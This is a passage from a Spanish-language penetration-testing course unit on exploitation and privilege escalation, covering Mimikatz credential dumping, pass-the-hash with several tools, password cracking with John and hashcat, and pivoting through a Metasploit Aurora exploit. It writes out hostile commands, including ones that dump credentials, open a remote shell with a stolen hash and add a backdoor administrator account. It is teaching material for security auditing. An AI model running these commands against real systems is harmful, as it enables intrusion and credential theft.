En este otro ejemplo, la herramienta trata de averiguar usuarios válidos en el servicio SSH utilizando
una regla basada en el tiempo. Se configura para que, si el servidor SSH devuelve cualquier respuesta
antes de 3 segundos, se considere que el usuario probado no es un usuario válido del sistema.
ENLACE

24/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Para terminar, en este caso, la herramienta comprueba si es posible autenticarse en el protocolo


SNMP mediante el usuario “robert” con alguna de las contraseñas que se encuentran en el fichero
“passwords_8.txt”.
ENLACE

2.6. Extracción de credenciales mediante Mimikatz

Mimikatz es una herramienta de código abierto que permite extraer de la


memoria contraseñas en texto plano, hash de contraseñas, tickets de
Kerberos, certificados no exportables, etc.

Está estructurado en distintos módulos, cada uno con varias funcionalidades diferentes para extraer la
información de autenticación que permanezca en memoria.

Para ejecutar correctamente la mayoría de los módulos, es necesario iniciar Mimikatz desde un usuario
privilegiado. En caso contrario, Mimikatz no podrá ejecutar ciertas operaciones reservadas a usuarios con
más privilegios en el sistema.

A continuación, se muestran varias técnicas para extraer de la memoria contraseñas en texto plano,
hashes de contraseñas y tickets de Kerberos. Cualquiera de las opciones mencionadas puede ser utilizada
para autenticarse en un sistema impersonando al usuario legítimo.

2.6.1. Recuperar contraseñas en texto plano

Mimikatz puede recuperar de la memoria las contraseñas en texto plano de los usuarios que hayan
iniciado sesión en el sistema objetivo desde la última vez que se reinició, para ello necesita inyectarse en el
proceso LSASS, para lo cual necesitamos haber iniciado Mimikatz desde una sesión de un usuario
privilegiado.

Para comprobar si se disponen de los privilegios necesarios, se puede utilizar el método privilege de
Mimikatz con la funcionalidad debug:

mimikatz # privilege::debug

Privilege '20' OK

Una vez que comprobamos que disponemos de los privilegios asociados, invocamos al método
sekurlsa con la funcionalidad logonpasswords .

A continuación, se muestra la invocación del comando y cómo se obtienen las credenciales de los
usuarios que hubiesen iniciado sesión, en texto plano.
ENLACE

25/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

2.6.2. Exportar tickets de Kerberos

Los tickets de Kerberos son unos identificadores de sesión, utilizados en las infraestructuras Microsoft
que autentican a un usuario en el sistema local o en sistemas remotos. De tal manera, si se puede extraer
cualquiera de estos tickets , siempre que siga teniendo validez, podremos autenticarnos con él suplantando
la identidad del usuario legítimo.

Al igual que en el ejemplo anterior, Mimikatz puede recuperar de la memoria tickets de autenticación de
Kerberos de todas las sesiones presentes en el sistema objetivo. Para ello también necesita inyectarse en el
proceso LSASS, para lo cual necesitamos haber iniciado Mimikatz desde una sesión de un usuario
privilegiado.

Para poder exportar estos tickets , invocamos al método sekurlsa con la funcionalidad tickets ,
indicando además el operador /export para que los tickets se exporten a un fichero.

A continuación, se muestra la invocación del comando y cómo se obtienen las credenciales de los
usuarios que hubiesen iniciado sesión, en texto plano.
ENLACE

2.6.3. Exportar fichero SAM

El fichero SAM contiene los hashes de las contraseñas de los usuarios locales del sistema. Es un archivo
protegido y no es posible acceder a su contenido mientras el sistema operativo se encuentra en ejecución,
dado que en ciertos servicios podemos realizar una autenticación mediante el usuario y el hash de su
contraseña, pudiendo impersonar al usuario legítimo.

Además, estos hashes podrían ser revertidos, mediante el uso de técnicas de cracking, a la contraseña en
claro del usuario.

En este caso, para poder exportar el contenido del fichero SAM, además de haber iniciado sesión
con un usuario privilegiado, es necesario obtener privilegios de NT AUTHORITY\SYSTEM. Esta
operación de obtener privilegios elevados la puede ejecutar directamente Mimikatz a través del método
token con la funcionalidad elevate .

A continuación, se muestra el flujo de operaciones necesarias para realizar esta elevación de


privilegios desde Mimikatz.
ENLACE

26/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Una vez que se ha realizado esta elevación de privilegios, es posible acceder al contenido del fichero
SAM en memoria. Para acometer esta tarea se ha de invocar al módulo lsadump con la funcionalidad
sam.

A continuación, se muestra el resultado de acceder al contenido del fichero sam, en el que se muestra
el hash NTLM de la contraseña de cada usuario local del sistema.
ENLACE

2.7. Autenticación mediante técnicas “Pass the Hash”


Esta técnica radica en que, en ciertos servicios de Microsoft, es posible realizar la autenticación de un
usuario utilizando el hash LM o NTLM de su contraseña. De esta manera, no es necesario conocer la
contraseña real del mismo.

La principal ventaja radica en que, si logramos acceder a los hashes LM o NTLM de las contraseñas de
los usuarios, no es necesario averiguar estas contraseñas mediante técnicas de cracking que, dependiendo
del equipamiento informático dónde se realicen, podrían tardar entre varias horas y varios días en averiguar
ciertas credenciales a texto plano.

Existen varias herramientas que nos permiten utilizar la técnica de Pass the Hash. A continuación, se
enumeran algunos ejemplos.

2.7.1. Pass the Hash con Metasploit

Existen varios módulos de Metasploit que permiten autenticar a un usuario indicando el hash de su
contraseña.

Por ejemplo, el siguiente módulo auxiliar smb_login comprueba las máquinas remotas donde el usuario
tiene privilegios para hacer login. En este caso, se indica el hash NTLM del usuario para realizar la
autenticación.

Imagen 3.14. Pash the Hash en Metasploit.


Fuente: captura de la herramienta Metasploit.

2.7.2. Pass the Hash con Mimikatz

27/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Mimikatz implementa la posibilidad de ejecutar un comando en un equipo remoto mediante la técnica de


Pass the Hash.

sekurlsa::pth /user:nombre_de_usuario /domain:nombre_de_dominio.local


/ntlm:hash_de_tipo_ntlm /run:comando_a_ejecutar

En caso que no se le indique ningún comando para ejecutar, Mimikatz abrirá una shell cmd (en el equipo
local) con los privilegios del usuario indicado.

A continuación, se muestra un ejemplo de la ejecución de dicho proceso:

mimikatz # sekurlsa::pth /user:pdulce /domain:[Link]


/ntlm:426bfc925a85fdb346c6d5b871e6c466

Imagen 3.15. Pash the Hash con Mimikatz.


Fuente: captura de la herramienta Mimikatz.

2.7.3. Pass the hash con pth-toolkit

28/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Existe una completa suite pth-toolkit que implementa la ejecución de varias herramientas que permiten la
ejecución de ordenes en el sistema remoto realizando la autenticación mediante el hash NTLM. A
continuación, se muestra el listado completo.

pth-curl

pth-net

pth-rpcclient

pth-smbclient

pth-smbget

pth-sqsh

pth-winexe

pth-wmic

pth-wmis

Por poner algún ejemplo, el comando pth-winexe , es capaz de ejecutar un comando en el equipo
remoto, utilizando el hash NTLM de un usuario dado.

Por ejemplo, para ejecutar un cmd en la máquina remota y que se nos devuelva una shell inversa en
nuestra máquina, se utilizaría el siguiente comando:

pth-winexe -U
Administrator%d7a2630a9ecc4aff186fc03070888283:480d1d426fe52721b915e7870c9e1a8f
//[Link] [Link]

Imagen 3.16. Pash the Hash en Linux.


Fuente: captura de Kali Linux.

De manera similar, también es posible ejecutar los comandos net de Microsoft Windows en el sistema
remoto mediante pth-net e indicando los hashes como en el caso anterior. En este caso se crea un nuevo
usuario y se añade al grupo de administradores locales de la máquina.

pth-net user Usuario1 mysecretpassword /add -I [Link]

29/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

pth-net localgroup administrators Usuario1 /add

2.7.4. Autenticándonos en escritorio remoto con Pass the Hash

También es posible autenticarnos con el hash NTLM de un usuario mediante el escritorio remoto, para
ello debemos utilizar la herramienta freerdp.

apt-get install freerdp-x11

freerdp /u:user /d:domain /pth:password /v:remote

En la siguiente imagen se puede apreciar la ejecución de la operación y la autenticación en el escritorio


remoto.

Imagen 3.17. Operación y autenticación en el escritorio remoto.


Fuente: captura de Kali Linux.

2.7.5. Utilizando Pass the Hash en scripts de nmap

De la misma manera, se pueden utilizar los hashes NTLM en scripts de nmap para realizar la
autenticación de los mismos en el sistema remoto.

nmap -p U:137,T:139 –script-args


‘smbuser=mike,smbhash=8846f7eaee8fb117ad06bdd830b7586c’ –script=smb-enum-groups –
script=smb-enum-users [Link]

2.8. Password cracking

30/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

La técnica de password cracking consiste en intentar utilizar los hashes de


las contraseñas para averiguar las contraseñas en texto claro.

Por definición, un hash no se puede revertir a su contraseña en texto claro, la única manera de averiguar
la contraseña inicial con la que se generó ese hash consiste en probar posibles combinaciones de
contraseñas y aplicar el mismo algoritmo de hash empleado por el protocolo de hashing utilizado para
almacenar la contraseña. En caso que los hashes coincidan, significará que habremos averiguado la
contraseña, ya que genera el mismo hash.

Existen varias aplicaciones que pueden realizar cracking de distintos tipos de hashes , pero a
continuación mostramos las más utilizadas debido a la cantidad de algoritmos de hashes que soportan,
posibilidad de paralelismo o capacidades de utilizar procesamiento GPU para realizar los cálculos de
hashing.

2.8.1. Jhon the ripper

John the ripper es una herramienta de cracking de contraseñas. Existen 2


versiones, la versión normal y la versión jumbo o community, que soporta
muchos más algoritmos de hashing para realizar el proceso de cracking.

Además, soporta paralelización de procesos, pudiendo indicar el número de cores de CPU que se le
asignan al proceso de cracking.

Otra opción interesante, es que soporta permutaciones de una misma contraseña, es decir, se pueden
indicar reglas específicas para que realice una serie de transformaciones a cada contraseña del diccionario
especificado y probar variaciones de la contraseña como, por ejemplo:

Sustituir letras minúsculas por mayúsculas.


Añadir dígitos.
Añadir símbolos.
Sustituir letras y números por símbolos.

A continuación, se muestra un comando de ejemplo que inicializa el proceso de cracking de hashes


NTLM con John indicando un diccionario de posibles contraseñas e indicando que siga las reglas de
permutaciones de contraseñas de Korelogic.

john --format=NT --rules -w=/usr/share/wordlists/[Link] [Link]

john –format=NT –rules=korelogic -—wordlist=/usr/share/wordlist/[Link]


hashes_NTLM.txt

La siguiente captura de pantalla muestra un ejemplo de uso de John the ripper en el que se realiza un
proceso de cracking de contraseñas sobre unos hashes NTLM utilizando 2 cores para el proceso e
indicando que se utilicen todas las reglas disponibles para realizar permutaciones de las contraseñas.

31/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Imagen 3.18. Uso de John the ripper.


Fuente: captura de Kali Linux.

2.8.2. hashcat

Como las anteriores, hashcat es una herramienta de cracking de contraseñas. Soporta muchos más
algoritmos de hashing que John para realizar el proceso de cracking, lo cual la dota de mayor versatilidad.

Además, soporta el uso de procesamiento GPU, utilizado en las tarjetas gráficas, mucho más rápido que
el uso de procesadores CPU convencionales.

Una curiosidad es que en hashcat se indica el tipo de algoritmo de hash con el parámetro -m seguido
de un identificador numérico que indica el algoritmo de hash que se va a utilizar. Al invocar la ayuda de
hashcat, se muestran los tipos de algoritmos soportados:

ENLACE

El siguiente ejemplo muestra el proceso de cracking de una serie de hashes incluidos en el fichero
[Link], probando las contraseñas almacenadas en el fichero [Link] e indicando en el
parámetro -m 1000 que los hashes se encuentran en formato NTLM.

ENLACE

32/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Otra opción interesante, es que soporta la posibilidad de probar contraseñas en base a una máscara
en la cual se puede indicar la longitud mínima y máxima de las contraseñas para probar, y el tipo de
dígito que podrá tener en cada posición. El uso de máscaras trata de emular el tipo de contraseñas que
generan los usuarios convencionales basándose en la política de generación de contraseñas presente en
el sistema.

A continuación, se muestra la equivalencia de cada opción de máscara con el charset al que hace
referencia.

ENLACE

Siguiendo la leyenda anterior, el siguiente ejemplo intenta realizar el cracking de unos hashes NTLM
indicados en el fichero [Link], generando contraseñas que constan de una primera letra mayúscula,
seguido de 7 letras minúsculas y 4 dígitos al final de la contraseña.

Imagen 3.19. Cracking de hashes NTLM en hashcat.


Fuente: captura de la herramienta hashcat.

2.9. Pivoting con meterpreter

Pivotar es la técnica única de usar una instancia para poder "moverse"


dentro de una red. La finalidad del pivoting es comprometer a otras
máquinas de la red a la que pertenece un sistema ya comprometido. Como
no se puede acceder directamente a ellas, se usa la máquina comprometida
para recolectar información y lanzar exploits.

33/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Vamos a poner como ejemplo la explotación de la vulnerabilidad Aurora, una vulnerabilidad que
compromete la memoria, presente en Internet Explorer.

Para ello vamos a utilizar el módulo de Metasploit exploit/windows/browser/ms10_002_aurora , que


explota un defecto de corrupción de memoria en Internet Explorer.

Esta vulnerabilidad fue un componente clave de los ataques de la "Operación Aurora" que condujeron
al compromiso de un número de compañías de alto perfil. El código de explotación es un puerto directo
de la muestra pública publicada en el sitio de análisis de malware de Wepawet. La técnica utilizada por
este módulo puede explotar únicamente Internet Explorer 6 de forma fiable.

Imagen 3.20. Código de explotación.


Fuente: elaboración propia.

34/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Cuando un usuario visita la URL maliciosa que hemos creado, se crea una sesión de meterpreter que
nos proporciona acceso completo al sistema.

Imagen 3.21. Sesión de meterpreter.


Fuente: elaboración propia.

Una vez nos conectamos a la sesión de meterpreter que se ha creado, hacemos un ipconfig y vemos
que el sistema vulnerado es dual, se comunica con diferentes redes dentro de una organización.

Imagen 3.22. Comunicación con redes.


Fuente: elaboración propia.

35/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

A continuación, vamos a utilizar la información recién descubierta y atacar la red adicional. Metasploit
tiene un script de autoroute meterpreter que nos permitirá atacar esta segunda red a través de nuestra
primera máquina comprometida.

Imagen 3.23. Ataque a redes.


Fuente: elaboración propia.

Ahora que hemos agregado nuestra ruta adicional, escalaremos a SYSTEM, volcaremos los hashes
de contraseñas y pondremos en segundo plano nuestra sesión de intérprete de medidores presionando
Ctrl-z.

Imagen 3.24. Escalar, volcar y poner en segundo plano.


Fuente: elaboración propia.

36/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Ahora tenemos que determinar si hay otros sistemas en esta segunda red que hemos descubierto.
Usaremos un escáner básico de puertos TCP para buscar los puertos 139 y 445.

Imagen 3.25. Escaner básico de puertos TCP.


Fuente: elaboración propia.

37/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Una vez que hemos descubierto un host con los puertos 139 y 445 abiertos, vamos a utilizar el
módulo de psexec con los hashes que hemos obtenido anteriormente.

Imagen 3.26. Módulo de psexec.


Fuente: elaboración propia.

Imagen 3.27. Módulo de psexec.


Fuente: elaboración propia.

38/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

El ataque ha sido exitoso, hemos creado una nueva sesión de meterpreter sobre el objetivo que se
conecta a través del sistema que vulneramos anteriormente. Para comprobar que estamos en dicha
máquina, ejecutaremos un ifconfig para verificarlo:

Imagen 3.28. Verificación.


Fuente: elaboración propia.

Como hemos podido observar, pivotar es una característica extremadamente poderosa y es una
capacidad crítica para tener en las pruebas de penetración.

III. Resumen
En esta unidad hemos estudiado las fases de explotación y escalada de privilegios.

Como hemos visto, para la fase de explotación es esencial saber que un exploit se utiliza para conseguir
un comportamiento específico de un sistema de información aprovechando una vulnerabilidad de
seguridad. Respecto a esto, también hemos estudiado diferentes tipos, vectores de entrada, en qué consiste
un sellcode, diferentes tipos y su generación, etc.

En cuanto a la escalada de privilegios, hemos aprendido que existen diferentes tácticas para realizarla y
que tenemos a nuestra disposición varias herramientas que nos ayudarán a llevar a cabo esta tarea.

Además, hemos estudiado la escalada de privilegios en diferentes formatos.

Por ejemplo: en local (Windows y Linux), mediante fuerza bruta empleando diferentes
herramientas y empleando técnicas Pass the Hash, entre otras.

39/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Recursos

Enlaces de Interés
[Link]
ZenMap (recopilación de herramientas usadas)

[Link]
Xforce (recopilación de herramientas usadas)

[Link]
WPScan (recopilación de herramientas usadas)

[Link]
Wireshark (recopilación de herramientas usadas)

[Link]
Whois (recopilación de herramientas usadas)

[Link]
Vulscan (recopilación de herramientas usadas)

[Link]
theHarvester (recopilación de herramientas usadas)

[Link]
SSLscan (recopilación de herramientas usadas)

[Link]
Shodan (recopilación de herramientas usadas)

[Link]
Securitytracker (recopilación de herramientas usadas)

[Link]
Securityfocus (recopilación de herramientas usadas)

[Link]
Searchsploit (recopilación de herramientas usadas)

[Link]
Robtex (recopilación de herramientas usadas)

[Link]
Ripe (recopilación de herramientas usadas)

40/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

[Link]
Recon-ng (recopilación de herramientas usadas)

[Link]
Qualys web-app (recopilación de herramientas usadas)

[Link]
Qualys SSL (recopilación de herramientas usadas)

[Link]
Pth-toolkit (recopilación de herramientas usadas)

[Link]
Patator (recopilación de herramientas usadas)

[Link]
Pastebin (recopilación de herramientas usadas)

[Link]
Openvas (recopilación de herramientas usadas)

[Link]
Nmap (4)

[Link]
Nmap (3)

[Link]
Nmap (2)

[Link]
Nmap (1)

[Link]
Nmap (recopilación de herramientas usadas)

[Link]
Netcat (recopilación de herramientas usadas)

[Link]
Nessus (recopilación de herramientas usadas)

[Link]
Ncrack (recopilación de herramientas usadas)

[Link]
Mimikatz (recopilación de herramientas usadas)

41/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

[Link]
Metasploit (recopilación de herramientas usadas)

[Link]
Medusa (recopilación de herramientas usadas)

[Link]
Jhon the Ripper (recopilación de herramientas usadas)

[Link]
ICMP

[Link]
Hydra (recopilación de herramientas usadas)

[Link]
Hashcat (recopilación de herramientas usadas)

[Link]
Google (recopilación de herramientas usadas)

[Link]
Github (recopilación de herramientas usadas)

[Link]
FOCA (recopilación de herramientas usadas)

[Link]
Expliot-db (recopilación de herramientas usadas)

[Link]
Enum4linux (recopilación de herramientas usadas)

[Link]
Dnsenum (recopilación de herramientas usadas)

[Link]
CVE (recopilación de herramientas usadas)

[Link]
Bing (recopilación de herramientas usadas)

[Link]
Attack Mitre

[Link]
Arp-scan (recopilación de herramientas usadas)

42/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

[Link]
Arin (recopilación de herramientas usadas)

[Link]
[Link] (recopilación de herramientas usadas)

[Link]
Acunetix (recopilación de herramientas usadas)

[Link]
0day (recopilación de herramientas usadas)

Bibliografía
0day.: [Link]
Hash Crack: Password Cracking Manual. : Picolet, J. (2018). Hash Crack: Password
Cracking Manual.
Penetration Testing Fundamentals: A Hands-On Guide to Reliable Security Audits . :
Easttom, C. (2018). Penetration Testing Fundamentals: A Hands-On Guide to Reliable Security
Audits . Indianapolis: Pearson IT.
Acunetix.: [Link]
[Link].: [Link]
Arin.: [Link]
Arp-scan.: [Link]
Attack Mitre.: [Link]
CVE.: [Link]
Dnsenum.: [Link]
Dnsrecon.: [Link]
Documentación de scripts de Nmap.: [Link]
Enum4linux.: [Link]
Exploit-db.: [Link]
Exploit-db. Linux sock_sendpage() NULL pointer dereference.: [Link]
[Link]/raw/9545/
Exploit-db. Microsoft Windows XP/2003 - '[Link]' Local Privilege Escalation (MS11-
080).: [Link]
FOCA.: [Link]
Github.: [Link]
Hashcat.: [Link]

43/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Hydra.: [Link]
Internet Control Message Protocol (ICMP).:
[Link]
Jhon the Ripper.: [Link]
Medusa.: [Link]
Metasploit.: [Link]
Mimikatz.: [Link]
Ncrack.: [Link]
Nessus.: [Link]
Netcat.: [Link]
Nmap.: [Link]
Nmap. Control de tiempo y rendimiento.: [Link]
Offensive Security. Metasploit Unleashed – Free Ethical Hacking Course.:
[Link]
Openvas.: [Link]
OSVDB.: [Link]
Pastebin.: [Link]
Patator.: [Link]
Pth-toolkit.: [Link]
Qualys SSL.: [Link]
Qualys.: [Link]
Repositorio de Recon-ng.: [Link]
Ripe.: [Link]
Robtex.: [Link]
SANS Institute. Nmap Cheat Sheet.: [Link]
testing/files/2013/10/[Link]
Searchsploit.: [Link]
Securityfocus.: [Link]
Securitytracker.: [Link]
Shodan.: [Link]
SSLscan.: [Link]
theHarvester.: [Link]
Vulscan.: [Link]
Wireshark.: [Link]
WPScan.: [Link]
Xforce.: [Link]

44/45
Auditoría de infraestructuras II: Explotación y Escalada de privilegios

Zenmap.: [Link]

Glosario.

Ataque de fuerza bruta (credenciales): Automatizar el proceso de autenticación sobre un


determinado servicio o aplicación con la finalidad de ir probando posibles combinaciones de
contraseñas o usuario/contraseña, hasta averiguar las credenciales de acceso de algún usuario
privilegiado.

Escalada de privilegios: Resultado de acciones que permiten a un adversario obtener un


mayor nivel de permisos en un sistema o red a partir de un acceso más restringido.

Exploit: Software o técnica que permite explotar o aprovechar una vulnerabilidad de seguridad
de un sistema de información para conseguir un comportamiento no deseado del mismo.

Password cracking: Intentar utilizar los hashes de las contraseñas para averiguar las
contraseñas en texto claro.

Payload: Conjunto de datos transmitidos (mensaje enviado).

Pivotar (pivoting): Técnica única de usar una instancia para poder "moverse" dentro de una
red. La finalidad del pivoting es comprometer a otras máquinas de la red a la que pertenece un
sistema ya comprometido. Como no se puede acceder directamente a ellas, se usa la máquina
comprometida para recolectar información y lanzar exploits.

Shellcode: Pequeña porción de código utilizada como carga útil en la explotación de una
vulnerabilidad de software. Se llama "shellcode" porque normalmente inicia un shell de
comandos desde el cual el atacante puede controlar la máquina comprometida, pero cualquier
código que realice una tarea similar se puede llamar shellcode.

45/45

También podría gustarte